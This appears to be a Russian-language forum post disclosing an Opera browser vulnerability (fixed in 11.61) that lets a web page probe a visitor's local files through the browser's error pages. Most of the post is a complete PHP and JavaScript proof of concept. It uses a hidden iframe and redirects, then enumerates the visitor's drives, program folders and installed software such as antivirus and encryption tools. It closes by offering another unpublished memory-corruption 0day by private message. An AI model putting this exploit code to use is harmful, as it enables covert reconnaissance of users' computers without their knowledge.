Любой браузер по вполне очевидным причинам запрещает доступ к локальным файлам из веба. Я уже давно искал способы обойти это ограничение и вчера наконец нашел. В браузере opera есть внутренние страницы, которые отображаются при различных ошибках и блокировках сайтов. Эти внутренние страницы загружают через тег link css-файлы из установочной директории браузера. Когда браузер показывает страницу ошибки, он остается на той же ссылке, с которой была открыта страница. Значит, ограничения на доступ к локальным файлам для этой страницы должны быть отключены, чтобы загрузить стили. Если мы откроем страницу http://site.com/path/script.php?param1=value1 и она вернет статус 1**, 3**, 4** или 5**, в браузере будет показана стандартная страница ошибки, после чего мы получим возможность загружать со страницы http://site.com/path/script.php?param1=value1 (обязательно с теми же параметрами) любые локальные файлы с помощью тега link до закрытия браузера. У тега link есть событие onload, которое срабатывает, если файл в src существует. Это позволяет проверить существование любой директории или файла на компьютере пользователя. PoC (Windows, все версии; Opera < 11.61) http://удалено/test.php Исходник PHP: <?php if(isset($_GET['p']) && empty($_SERVER['HTTP_REFERER'])) { header('Location: ?'); die(); } if(isset($_GET['r'])) { echo '<html> <header><meta http-equiv=\'Refresh\' content=\'0; url=?p=' . (int)$_GET['r'] . '\'/></header> <body onload="location.replace(\'?p=' . (int)$_GET['r'] . '\')"></body> </html>'; die(); } if(stripos($_SERVER['HTTP_REFERER'], '?r=') !== false) { print_page(); } else if(isset($_GET['p'])) { header('HTTP/1.0 404 Not Found'); } else { $rnd = rand(1, 9999); echo '<html> <header><script>function a(){ location.replace(\'?r=' . $rnd . '\');}</script></header> <body><iframe onload="setTimeout(\'a();\', 300)" src="?p=' . $rnd . '" style="width:0px;height:0px;visibility:hidden"></iframe></body> </html>'; } function print_page() { echo <<<QWERTY <html> <body> <script> var diskStr = 'CDEFGHIJKLMNOPQRSTUVWXYZ'; var goodDiskStr = ''; var diskDiv = document.createElement('div'); diskDiv.innerHTML = '<b>disks:</b><br>'; document.body.appendChild(diskDiv); var dirArr = new Array( 'program files', 'program files (x86)' ); var goodDirArr = new Array(); var dirDiv = document.createElement('div'); dirDiv.innerHTML = '<br><b>program folders:</b><br>'; document.body.appendChild(dirDiv); var progArr = new Array( 'adobe', 'akelpad', 'alcohol soft', 'avira', 'charles', 'daemon tools lite', 'drweb', 'eset', 'filezilla ftp client', 'filezilla ftp server', 'icq7.1', 'icq7.2', 'icq7.3', 'icq7.4', 'icq7.5', 'icq7.6', 'icq7.7', 'kaspersky lab', 'mcafee', 'microsoft office', 'microsoft visual studio', 'microsoft.net', 'mozilla firefox', 'nmap', 'nvidia corporation', 'notepad++', 'psi+', 'paragon software', 'qip', 'qip2010', 'qip2011', 'skype', 'teamviewer', 'total commander', 'truecrypt', 'utorrent', 'webmoney', 'winpcap', 'winrar', 'wireshark' ); var progDiv = document.createElement('div'); progDiv.innerHTML = '<br><b>programs:</b><br>'; document.body.appendChild(progDiv); function goodDisk(diskLetter) { goodDiskStr += diskLetter; diskDiv.innerHTML += diskLetter + ':<br>'; } function goodDir(dirName) { goodDirArr.push(dirName); dirDiv.innerHTML += dirName + '<br>'; } function goodProg(progName) { progDiv.innerHTML += progName + '<br>'; } onload = function checkDisk() { for(var i in diskStr) { var newLink = document.createElement('link'); newLink.id = Math.random(); newLink.rel = 'stylesheet'; newLink.href = 'file://' + diskStr[i] + ':/*'; newLink.onload = 'goodDisk(\'' + diskStr[i] + '\')'; diskDiv.appendChild(newLink); setTimeout('diskDiv.removeChild(document.getElementById(\'' + newLink.id + '\'))', 2000); } setTimeout('checkDir()', 500); } function checkDir() { for(var i in goodDiskStr) { for(var j in dirArr) { var newLink = document.createElement('link'); newLink.id = Math.random(); newLink.rel = 'stylesheet'; newLink.href = 'file://' + goodDiskStr[i] + ':/' + dirArr[j]; newLink.onload = 'goodDir(\'' + goodDiskStr[i] + ':/' + dirArr[j] + '\')'; dirDiv.appendChild(newLink); setTimeout('dirDiv.removeChild(document.getElementById(\'' + newLink.id + '\'))', 2000); } } setTimeout('checkProg()', 500); } function checkProg() { for(var i in goodDirArr) { for(var j in progArr) { var newLink = document.createElement('link'); newLink.id = Math.random(); newLink.rel = 'stylesheet'; newLink.href = 'file://' + goodDirArr[i] + '/' + progArr[j]; newLink.onload = 'goodProg(\'' + goodDirArr[i] + '/' + progArr[j] + '/\')'; dirDiv.appendChild(newLink); setTimeout('dirDiv.removeChild(document.getElementById(\'' + newLink.id + '\'))', 2000); } } } </script> </body> </html> QWERTY; } ?> Напомню, что все версии Windows поддерживают короткий формат (8.3) имен файлов и папок. "Program Files" == "progra~1", "LongFileName.longext" == "longfi~1.lon". Это свойство может пригодиться для ускорения поиска конкретных директорий или файлов, имеющих незначительные отличия в имени в зависимости от версии. Спасибо всем, кто помогал тестировать. Отдельное спасибо Dr.Z3r0 за подсказку о причине возникновения уязвимости. P.S.: Пример только для винды, но под линуксом баг тоже работает.
24 января вышла очередная версия браузера Opera 11.61, в которой уязвимость пофиксили. http://www.opera.com/support/kb/view/1008/
Не волнуйтесь, у меня есть другой 0day. Только хз как эксплойт написать Memory corrupt Кому интересно, пишите в ЛС